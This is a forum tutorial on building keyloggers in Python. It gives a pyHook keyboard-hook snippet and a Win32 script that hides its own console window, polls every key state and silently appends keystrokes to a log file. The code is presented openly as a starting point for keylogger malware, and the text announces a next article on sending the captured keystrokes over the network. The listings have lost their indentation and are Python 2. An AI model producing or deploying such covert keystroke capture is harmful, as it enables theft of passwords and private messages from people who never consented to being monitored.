According to wiki key loggers perform the following
Although now a days you would also want to capture mouse events. I won't be getting into mouse hooks in this tutorial. Some one else can do that if they like. The language I will use will be python obviously not the best choice but you can convert it into your desired language: C, Java or whatever.Keystroke logging (often called keylogging) is a method of capturing and recording user keystrokes.
My First example: A Module designed for this purpose:
A lot of languages will have key logging modules already available for use, python has one called PyHook. Here is an example of PyHook
Code: Select all
import pythoncom, pyHook
def OnKeyboardEvent(event):
print event.Key
return True
# create a hook manager
hm = pyHook.HookManager()
# watch for all key events
hm.KeyDown = OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
We then call our pyHook functions to listen for our keyboard input.
Wow a keylogger in about 8 – 20 lines of code
Next we can move on to win api
Code: Select all
import win32api
import win32console
import win32gui
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
else:
while 1:
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
if keyit == -32767:
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
import necessary modules
Code: Select all
import win32api
import win32console
import win32gui
Code: Select all
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
Code: Select all
try:
mylog_file = open("/HOME/output.txt","a")
except IOError:
print "Error grabbing file"
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
Code: Select all
for i in range(32, 256):
keyit = win32api.GetAsyncKeyState(i)
Code: Select all
keyEnd = 81
mylog_file.write(chr(i))
if i == keyEnd:
mylog_file.close()
keyin = open("/HOME/output.txt","r")
data = keyin.read()
This is just code to be a starting point I do not say these ways are the best or only ways its more or less meant as a very basic introduction to coding keyloggers
Next article (Sending keystrokes over the network)
By Maboroshi
Resources
Code: Select all
Wiki http://en.wikipedia.org/wiki/Keystroke_logging
PyHook http://pyhook.wiki.sourceforge.net/
GetAsyncKeyState http://msdn.microsoft.com/en-us/library/ms646293(VS.85).aspx